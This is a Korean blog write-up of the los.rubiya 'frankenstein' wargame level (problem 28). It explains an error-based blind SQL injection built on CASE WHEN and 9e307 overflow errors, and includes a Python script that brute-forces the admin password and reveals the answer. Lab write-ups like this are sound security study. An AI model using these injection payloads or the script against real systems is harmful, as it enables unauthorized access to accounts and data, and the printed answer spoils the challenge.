본문 바로가기

워게임

los rubiya - frankenstein(28번 문제)

머리에 나사 있는 애

 

시작하겠습니다.

 

 

음..

 

prob _ . union () 을 사용 못하네요

 

그리고 admin의 비밀번호을 알아내야 합니다.

 

또 문법이 이상해지면 error이 출력되네요!

 

좋아요

 

이걸로 참 거짓을 판별하면 되겠네요!

 

() 을 못쓰니 함수를 못 사용하겠네요 그럼 case when then 구절을 이용하겠습니다.

 

문법은 여기서 참고했습니다.

https://velog.io/@0829kuj/SQL-CASE-%EB%AC%B8-CASE-WHEN-THEN

 

[SQL] CASE 문 (CASE WHEN THEN)

`sql`에서 여러조건 중 해당하는 조건의 값을 반환하는 문법. `if문`과 `swicth문` 처럼 조건에 해당하는 값을 반환하는 문법임. 모든 조건이 충족하지 않았을때 반환할 `else`절의 값을 지정해두지 않

velog.io

 

그러니깐 아이디가 admin이고 pw는 like을 이용해서 찾으면 되겠죠.

 

간단하게 적어보겠습니다.

 

?pw=1' OR case when id='admin' and pw like 'a%' then 9e307*2 else 0 end %23

 

 

case when 아이디가 admin이고 pw이 a로 시작하는가?

 

then 맞으면 9e307*2을 출력한다.

else 아니면 0을 출력한다.

 

end 끝낸다.

 

 

9e307*N(N은 정수)은 sql문에서 수동으로 논리적 문법 오류를 낼 수 있는 값입니다.

e는 지수를 뜻해요 그러니깐 9의 307제곱을 N만큼 곱한다는 이야기예요.

 

sql에는 최대 값을 표현 가능 범위가 9e307입니다. 거기서 N을 곱해서 일부러 범위 벗어나게 합니다.

그럼 오류가 나겠죠!

 

 

이상하게 else문에 쓰면 안 되고 then에만 써야지만 됩니다. 이 이유는 잘 모르겠네요..

조건이 맞으면 else까지는 읽나 봅니다. 조건이 틀리면 then 구문은 넘어가는 형식이라 그런 거 같아요

 

어쨌든 저대로 실행하면?

 

나오네요!

 

그렇죠 첫 글자 a는 틀려서 0이 출력되고 문법상 오류가 안나는 겁니다.

 

만약 0%으로 해봅시다.

 

1' OR case when id='admin' and pw like '0%' then 9e307*2 else 0 end %23

 

 

이렇게 나오네요

 

이렇게 첫 글자가 0이라는 것을 알 수 있습니다.

그럼 다음 글자는 0a%, 0b% .... 이렇게 비교하면 되겠죠?

 

파이썬 코드 짜겠습니다.

 

 

import requests
import urllib.parse
#******parameter:[파라미터이름],parameter value: [파라미터값],word: [식별용단어] ------ ctrl+h 이용하여 바꾸기********

url = "https://los.rubiya.kr/chall/frankenstein_b5bab23e64777e1756174ad33f14b5db.php" #공격할 url 작성

headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3",
    "Cookie": "PHPSESSID=tfcqlc2grd2d3ugumt6fdpdr4v"
} #header 기본 구문, 쿠키도 작성


def blind_sqli(blind_query) :
    while True :
        query = input("enter누르세요!")

        index_value = "<hr><br>error" #참 거짓 식별용

        value = binarySearch(query,index_value)
        print(value + "\n")



def binarySearch(query, index_value) :
    s = 1
    value = ""

    for j in range(50) :
        for i in range(32, 127) : #공백부터 ~까지 대입

            data = {
                "pw": blind_query.format(value + chr(i))
            }

            response = requests.get(url, params=data, headers=headers) #만약 get방식이면 수정하기

            if index_value in response.text :
                value += chr(i)
                s+=1
                print(value) #잘되나 확인용

    return value


blind_query = "1' OR case when id='admin' and pw like '{}%' then 9e307*2 else 0 end #" #수정할거면 수정 하기 --Blind sqli 용
blind_sqli(blind_query) #blind_query 시작

 

이진 탐색은 안 하겠습니다 왜냐하면 중간중간에 / 같은 기호에 오류 날 수 있어서요!

또 \"error\" 으로 참 거짓을 판별했습니다 그냥 error은 참이든 거짓에도 있어서요.

 

이 코드는 일일이 넣어서 알아내는 겁니다. 값이 50글자는 안 넘으리라 믿고 넉넉하게 50번 반복하게 했습니다.

 

실행하겠습니다.

 

 

여기서 더 안 나오네요

 

답은 0dc4efbb 인 것을 알 수 있습니다. sql은 대소문자 구별을 안 해서 소문자만 입력하셔야 될 거예요

 

좋아요!

 

감사합니다

'워게임' 카테고리의 다른 글

los rubiya - 30(ouroboros)  (0) 2023.06.25
los rubiya - 29(phantom) 풀이  (0) 2023.06.24
los rubiya - 27(blue dragon) 풀이  (0) 2023.05.31
los rubiya - 26(red_dragon) 풀이  (0) 2023.05.26
los rubiya - 25(green_dragon) 풀이  (0) 2023.05.25